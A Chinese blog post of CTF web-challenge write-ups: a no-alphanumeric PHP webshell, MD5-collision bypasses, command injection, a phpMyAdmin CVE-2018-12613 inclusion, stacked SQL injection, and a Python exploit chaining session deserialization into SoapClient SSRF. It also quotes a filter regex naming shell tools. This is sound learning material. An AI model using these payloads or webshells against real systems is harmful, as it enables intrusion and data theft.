$____=~(的)[$_];
$_____=~(捷)[$_];
$______=~(拾)[$_];
$_______=~(每)[$_];
$________=~(谢)[$_];
$_________=~(次)[$_];
$__________=~(站)[$_];
$_=$__.$___.$___.$____.$_____.$______;
$__=_.$_______.$________.$_________.$__________;
$__=$$__;
$_($__[_]);

参考资料: https://www.xctf.org.cn/library/details/2ff21f569a791e21cbd6ce0d4675a9de5ec2373a/

p 🐮 : https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

[SUCTF 2018]annonymous#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$MY = create_function("", "die(`cat flag.php`);"); // 如果执行了MY 函数,那么就能 cat flag.php(因为是反引号)
$hash = bin2hex(openssl_random_pseudo_bytes(32)); // 把包含数据的二进制字符串转换为十六进制值;生成一个长度为32的伪随机字节串
eval("function SUCTF_$hash(){" // 函数名称为 SUCTF_32HASH值
. "global \$MY;" // 定义为全局变量
. "\$MY();" // 调用新的匿名函数
. "}"); // eval(php_code);
if (isset($_GET['func_name'])) {
$_GET["func_name"](); // 执行func_name 函数 , 构造 func_name 为匿名函数就可以拿到flag ;
die();
}
show_source(__FILE__);

//function SUCTF_$hash(){"."global \$MY;"."\$MY();" . "}"};
1
2
3
4
<?php
$MY = create_function("", "die(`cat flag.php`);");
var_dump($MY);
// string(9) " lambda_1" 后面这个数字看了WP说是随机的

那么思路就是爆破这个数字,就可以拿到flag

# 表示未研究透彻 , 后期补充

[安洵杯 2019]easy_web#

img的参数进行两次base64decode 和一次hexdecode 即可得到555.png 用相反的方法对index.php进行编码得到 TmprMlpUWTBOalUzT0RKbE56QTJPRGN3 得到php源码

在进行RCE 之前需要 绕过

if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))

三个等号的md5强相等 用下面这个就好了,然后就可以 执行cmd里的命令了(因为是反引号`)

1
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

然后就是这段正则表达式:

1
/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i

没有过滤\ , 直接 ca\t /fl\ag 即可.

# 表示未研究透彻 , 后期补充

[ACTF2020 新生赛]Upload

很简单的文件上传题,这里我fuzz 后缀的时候,除了 .php .php2 的文件不能上传外,以及用.来绕过的会把php替换为空,其他的都能上传,但是不能解析,蚁剑连不上.最后用.phtml 连上了

[ACTF2020 新生赛]Include

/?file=php://filter/convert.base64-encode/resource=flag.php

[ACTF2020 新生赛]Exec

没有任何过滤的 command injection

127.0.0.1;cat /flag

[ACTF2020 新生赛]BackupFile

  • 备份文件
  • 弱类型

/index.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
1
2
php > var_dump("123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3"==123);
bool(true)

key=123

[GWCTF 2019]我有一个数据库

除了题目数据库这两个字,找不到任何提示,扫描目录: robots.txt phpinfo.php phpmyadmin/ 一开始我的思路是: 在里面写一个一句话然后拿shell 在文件目录里面拿flag

1
select '<?php @eval($_POST[aaa]);?>' into outfile '/var/www/html/shell.php'

但是没有权限 #1045 - Access denied for user 'test'@'%' (using password: YES)

查看phpmyadmin 的版本为 4.8.1 去搜一波漏洞 可以搜到 CVE-2018-12613

可以直接利用这个拿flag

/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../flag

还可以利用下面这篇文章的思路来getshell

https://www.cnblogs.com/bmjoker/p/9897436.html

在SQL 中执行一个 phpinfo用于测试,或者写一个一句话连shell, 然后查看cookie(sessionid) 666d1r51ecqgj304aficsoijuv , session 文件是存放在/tmp/sess_sessionid 这个文件下的

phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_666d1r51ecqgj304aficsoijuv

学习

%253f? 经过两次URL编码的结果.从而来绕过白名单检测(465行的 urldecode()),具体原理 参考学习

[BJDCTF2020]Easy MD5

没有任何提示, 只知道是和MD5有关的,抓包后发现了hint :

1
Hint: select * from 'admin' where password=md5($pass,true)

这道题和 https://hack-for.fun/posts/20200103/#toc-heading-4 是一样的,直接来了

password为 ffifdyop 的时候即可, 因为 ffifdyop 的md5值的原始二进制数存在 ‘or’6

在mysql里面,在用作布尔型判断时,以数字开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1

window.location.replace('./levels91.php') 继续访问

1
2
3
4
5
6
7
<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->

弱类型绕过,用数组也行levels91.php?a[]=1&b[]=2 md5不能处理数组,都为null就true了

1
2
3
4
5
6
7
8
9
 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag; // 这和安洵杯的 easy_web一样了, md5 强比较,直接来
}
1
param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

得到flag

[BJDCTF2020]Mark loves cat

  • 源码泄露
  • 变量覆盖

一个博客页面,唯一功能就是留言板,先扫一下目录,发现了.git/config 等,于是知道是源码泄露, 然后用GitHack下载源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach ($_POST as $x => $y) {
$$x = $y;
}

foreach ($_GET as $x => $y) { // $x = 'yds' $y = 'flag'
$$x = $$y; // $$x 就是 $yds, $$y就是 $flag, 最后就覆盖成为 $yds = $flag;
}

foreach ($_GET as $x => $y) {
if ($_GET['flag'] === $x && $x !== 'flag') {
exit($handsome);
}
}

if (!isset($_GET['flag']) && !isset($_POST['flag'])) {
exit($yds); // exit($yds) 就覆盖为 exit($flag); 输出flag
}

if ($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag') {
exit($is);
}

echo "the flag is: " . $flag;

因为是变量覆盖嘛.所以要得到flag, 就必须让 handsome , yds 或者is 的值为$flag,这样就相当于exit($flag);

最简单的方法就是,不传flag,让下面这段代码 执行 exit

1
2
if (!isset($_GET['flag']) && !isset($_POST['flag'])) {
exit($yds);

/?yds=flag 即可

可变变量: https://www.php.net/manual/zh/language.variables.variable.php

[BJDCTF2020]ZJCTF,不过如此

前面的内容和ZJCTF的逆转思维那道题差不多,?text=php://input&file=php://filter/convert.base64-encode/resource=next.php 并且POST 内容为I have a dream , 读到next.php 的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) // 定义一个函数,用于正则匹配
{
return preg_replace(
'/(' . $re . ')/ei', // 注意这里是 /e 模式,可以进行代码执行
'strtolower("\\1")',
$str // 匹配str中符合模式的
);
}

// 用数组遍历 把变量名传递给re,变量值传递给str
foreach ($_GET as $re => $str) {
echo complex($re, $str) . "\n"; // 然后输出
}

function getFlag()
{
@eval($_GET['cmd']);
}

这里 preg_replace() 用了 /e 模式,可以把匹配来的字符串当作正则表达式执行,即strtolower("\\1") 这部分

\\1 实际上就是 \1 (第一个是用来转义滴) ,而 \1 在正则表达式中有自己的含义。我们来看看 W3Cschool 中对其的描述:

反向引用

对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数

所以这里的 \1 实际上指定的是第一个子匹配项

然后在PHP中,对于传入的非法的$_GET 数组参数名,会将其转换为下划线,导致正则匹配失效

payload: \S*=${phpinfo()}

然后用这个写一句话, 蚁剑连,拿flag. 学习知识参考资料二,写的比我好,不多说了 😄

https://blog.csdn.net/qq_36340642/article/details/79352876 关于正则表达式的修饰符

深入研究php中的preg_replace()/e模式下的命令执行

[GYCTF2020]Blacklist

  • 堆叠注入

强网杯改变过来的

1';show databases;

1';show tables from supersqli; 得到表为 FlagHere 和 words

1';show columns from FlagHere; 得到字段为 flag 但是长度只有 8位, 所以应该不是这个,转回去看 words表

字段有 id data

1
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

这里正则 增加了 alter 和 rename

这里用预编译的方式来做做不出来, 可能上次用的是strstr()函数是不区分大小写的,这次可能用的是stristr(),区分大小写了, 所以通过预编译和改表名的方法都做不出来了.

看了大佬的WP, 才发现还有第三种方法, 利用MYSQL 的新特性handler

https://dev.mysql.com/doc/refman/8.0/en/handler.html MYSQL 文档

https://www.docs4dev.com/docs/zh/mysql/5.7/reference/handler.html 中文的 哈哈哈

HANDLER ... OPEN语句打开 table,使用后续的HANDLER ... READ statements 可以访问它;此 table object 不会被其他会话共享,并且在 session calls HANDLER ... CLOSE或 session 终止之前不会关闭。

HANDLER ... CLOSE关闭用HANDLER ... OPEN打开的 table。

通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
通过HANDLER tbl_name CLOSE来关闭打开的句柄。

因此可以用这种方法来写payload

1
2
3
4
1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#

tttttql…. 不知道就不知道怎么做(其实说明了一点,不管是渗透还是CTF,信息搜集永远都是第一位), CTF For Learn!

https://blog.csdn.net/JesseYoung/article/details/40785137 ( 这篇文章是2014年就)

[LCTF 2018]bestphp’s revenge

  • 序列化注入攻击
  • PHP session 引擎机制不同导致的序列化漏洞
  • 原题是有hint的, hint: 反序列化
  • session 反序列化 > SoapClient 执行不存在的方法调用了__call 导致ssrf > 变量覆盖b为call_user_func 获得cookie
1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST); // 回调函数,新的函数名由GET 的参数决定, 函数内容由 POST 的参数决定
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name']; // 通过GET 到的name来设置session
}
var_dump($_SESSION); // 输出session 的类型和值
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018'); // reset — 将数组的内部指针指向第一个单元
call_user_func($b, $a); // implode($a); implode() 函数,将一维数组转化为字符串,但是这样肯定就浪费了

拿到题一在想这个call_user_func() 是不是可以用来写个后调后门, 看了Smi1e 师傅的文章才发现还有一个flag.php , 然后我就去扫了下目录, 果然存在…. 以后做题第二件事就是扫目录 - . -

1
2
3
4
5
6
7
8
9
only localhost can get flag!
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1") {

$_SESSION['flag'] = $flag;
}
only localhost can get flag! // SSRF

首先需要明确思路,要达到本地,即唯一通过SSRF 去访问 flag.php 通过变量覆盖获得session中的flag

关键点是如何将session 序列化引擎覆盖?

利用回调函数覆盖session序列化引擎为php_serilaze,构造SSRF的Soap类的序列化字符串配合序列化注入写入session文件,然后利用变量覆盖漏洞,覆盖掉变量b为回调函数call_user_func,此时结合我刚开始所说的回调函数调用Soap类的未知方法,触发__call方法进行SSRF访问flag.php。把flag写入session,再把session打印出来即可 — 参考资料2

PHP 中的session 反序列化机制

session的存储机制

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的

有三种方式

  • 默认使用php : 格式 键名|键值(经过序列化函数处理的值)
  • php_serialize: 格式 经过序列化函数处理的值
  • php_binary: 键名的长度对应的ASCII字符 + 键名 + 经过序列化函数处理的值

php.ini 中有三项配置:

1
2
3
4
session.save_path=""   --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php

我的phpstudy_pro的 session 文件存放在extension/tmp/tmp目录

第一种(默认php):

1
2
3
4
5
<?php
session_start();
$_SESSION['name'] = '1FonlY' ;
var_dump($_SESSION);
?> // array(1) { ["name"]=> string(6) "1FonlY" }

查看session 文件 : name|s:6:"1FonlY";

第二种:

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = '1FonlY' ;
var_dump($_SESSION);
?> // array(1) { ["name"]=> string(6) "1FonlY" }

a:1:{s:4:"name";s:6:"1FonlY";} a:1是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化。

第三种:

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = '1FonlY' ;
var_dump($_SESSION);
?>

names:6:"1FonlY"; 不可显的为EOT ,name的长度为4 4在ASCII 表中就是 EOT

session 序列化注入漏洞

当序列化的引擎和反序列化的引擎不一致时,就可以利用引擎之间的差异产生序列化注入漏洞

比如这里先实例化一个对象,然后将其序列化为 O:7:"_1FonlY":1:{s:3:"cmd";N;}

如果传入 |O:7:"_1FonlY":1:{s:3:"cmd";N;} 在使用php_serialize 引擎的时候

序列化后的session 文件是这样的 a:1:{s:4:"name";s:31:"|O:7:"_1FonlY":1:{s:3:"cmd";N;}";}

这时,将a:1:{s:4:"name";s:31:" 当做键名, O:7:"_1FonlY":1:{s:3:"cmd";N;} 当做键值,将键值进行反序列化输出,这时就造成了序列化注入攻击

可以SSRF 的类SoapClient

l3m0n 师傅的反序列化之PHP原生类的利用中讲到 SoapClient 类搭配CRLF注入可以实现SSRF, 在本地生成payload的时候,需要修改php.ini 中的 ;extension soap 将注释删掉即可

因为SoapClient 类会调用 __call 方法,当执行一个不存在的方法时,被调用

构造序列化覆盖 序列化引擎,并将soap类写入session文件, session_start 会**自动进行反序列化**

触发__call 即当soapclient 对象去调用一个不可访问的方法时

SoapClient 的UA 可进行 CRLF注入

这里reset 将数组内部指针指向第一个单元,也就是SoapClient, 从上面可以看出,如果把$b覆盖为call_user_func即可 实现__call 的触发(call_user_func 可以执行对象中的方法)

1
2
3
4
5
6
7
<?php
$url = "http://127.0.0.1/flag.php";
$b = new SoapClient(null, array('uri' => $url, 'location' => $url));
$a = serialize($b);
$a = str_replace('^^', "\r\n", $a);
echo "|" . urlencode($a);
?>

然后的步骤就是,?f=extract&name=SoapClient , POST 过去 b=call_user_func 覆盖变量b,利用call_user_func调用SoapClient类中不存在的方法,就会触发__call方法.执行ssrf.并获得访问flag.php的cookie, 然后用这个cookie访问一下就行了

Python版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : Eustiar
import requests
import re
url = "http://c85b635f-1224-4de2-9b64-de9a2adc0d99.node3.buuoj.cn/"
payload = '|O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}'
r = requests.session()
data = {'serialize_handler': 'php_serialize'}
res = r.post(url=url+'?f=session_start&name='+payload, data=data)
# print(res.text)
res = r.get(url)
# print(res.text)
data = {'b':'call_user_func'}
res = r.post(url=url+'?f=extract', data=data)
res = r.post(url=url+'?f=extract', data=data) # 相当于刷新页面
sessionid = re.findall(r'string\(26\) "(.*?)"', res.text)
cookie = {"Cookie": "PHPSESSID=" + sessionid[0]}
res = r.get(url, headers=cookie)
print(res.text)

参考资料:

L3m0n

Smi1e

PHP 中的session反序列化机制

[https://skysec.top/2018/11/17/2018-Xctf%20Final&LCTF-Bestphp/#bestphp%E2%80%99s-revenge](https://skysec.top/2018/11/17/2018-Xctf Final&LCTF-Bestphp/#bestphp’s-revenge)

https://eustiar.com/archives/521

搞了一上午和一下午, 终于搞出来了,看了很多大牛的文章,和wp,,,学到了很多, 哈哈😄

Author: m0nk3y
Link: https://hack-for.fun/fb23.html
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.